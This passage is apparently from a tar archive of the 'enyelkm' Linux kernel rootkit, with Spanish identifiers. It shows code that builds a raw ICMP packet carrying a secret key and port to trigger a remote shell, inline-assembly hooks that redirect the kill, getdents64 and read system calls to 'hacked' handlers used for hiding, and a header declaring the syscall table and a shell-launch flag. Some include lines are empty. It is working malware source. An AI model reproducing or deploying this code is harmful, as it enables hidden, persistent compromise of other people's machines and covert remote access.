struct sockaddr_in adr;
unsigned char pqt[4096];
struct iphdr *ip = (struct iphdr *) pqt;
struct icmphdr *icmp = (struct icmphdr *)(pqt + sizeof(struct iphdr));
char *data = (char *)(pqt + sizeof(struct iphdr) + sizeof(struct icmphdr));
bzero(pqt,4096);
bzero(&adr, sizeof(adr));
strcpy(data, ICMP_CLAVE);
p = (unsigned short *)((void *)(data + strlen(data)));
*p = puerto;
tot = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto);
if((soc=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == -1)
{
perror("Error al crear el socket.\n");
exit(-1);
}
adr.sin_family = AF_INET;
adr.sin_port = 0;
adr.sin_addr.s_addr = inet_addr(ipdestino);
ip->ihl = 5;
ip->version = 4;
ip->id = rand() % 0xffff;
ip->ttl = 0x40;
ip->protocol = 1;
ip->tos = 0;
ip->tot_len = htons(tot);
ip->saddr = 0;
ip->daddr = inet_addr(ipdestino);
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = getpid() && 0xffff;
icmp->un.echo.sequence = 0;
printf("Enviando ICMP ...\n");
fflush(stdout);
n = sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto);
icmp->checksum = 0;
sum = 0;
p = (unsigned short *)(pqt + sizeof(struct iphdr));
while (n > 1)
{
sum += *p++;
n -= 2;
}
if (n == 1)
{
unsigned char pad = 0;
pad = *(unsigned char *)p;
sum += (unsigned short) pad;
}
sum = ((sum >> 16) + (sum & 0xffff));
icmp-> checksum = (unsigned short) ~sum;
if ((n = (sendto(soc, pqt, tot, 0, (struct sockaddr*) &adr,
sizeof(adr)))) == -1)
{
perror("Error al enviar datos.\n");
exit(-1);
}
return(0);
} /********* fin de enviar_icmp() ********/
/* EOF */
enyelkm-1.1.2/idt.c 0000644 0000000 0000000 00000001725 10542045267 012613 0 ustar root root #include "idt.h"
#define ASMIDType( valor ) \
__asm__ volatile( valor );
#define JmPushRet( valor ) \
ASMIDType \
( \
"push %0 \n" \
"ret \n" \
\
: : "m" (valor) \
);
#define CallHookedSyscall( valor ) \
ASMIDType( "call * %0" : : "r" (valor) );
void hook( void )
{
register volatile int eax asm( "eax" );
switch( eax )
{
case __NR_kill:
CallHookedSyscall( hacked_kill );
break;
case __NR_getdents64:
CallHookedSyscall( hacked_getdents64 );
break;
case __NR_read:
CallHookedSyscall( hacked_read );
break;
default:
JmPushRet( dire_call );
break;
}
JmPushRet( after_call );
}
void new_idt( void )
{
ASMIDType
(
"cmp %0, %%eax \n"
"jae syscallmala \n"
"jmp hook \n"
"syscallmala: \n"
"jmp dire_exit \n"
: : "i" (NR_syscalls)
);
}
enyelkm-1.1.2/idt.h 0000644 0000000 0000000 00000000166 10542044435 012612 0 ustar root root #ifndef _IDT_H__
#define _IDT_H__
#include "base.h"
void new_idt( void );
void hook( void );
#endif /* _IDT_H__ */
enyelkm-1.1.2/base.h 0000644 0000000 0000000 00000002240 10542041254 012733 0 ustar root root #ifndef _BASE_H__
#define _BASE_H__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "config.h"
#include "data.h"
#include "remoto.h"
#include "kill.h"
#include "read.h"
#include "ls.h"
#include "idt.h"
/* estructuras */
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
};
extern unsigned long dire_exit, after_call;
extern unsigned long dire_call, p_hacked_kill, global_ip;
extern unsigned long p_hacked_getdents64, p_hacked_read;
extern short read_activo, lanzar_shell;
extern void *sysenter_entry;
extern void **sys_call_table;
extern struct packet_type my_pkt;
extern unsigned short global_port;
extern int errno;
#endif /* _BASE_H__ */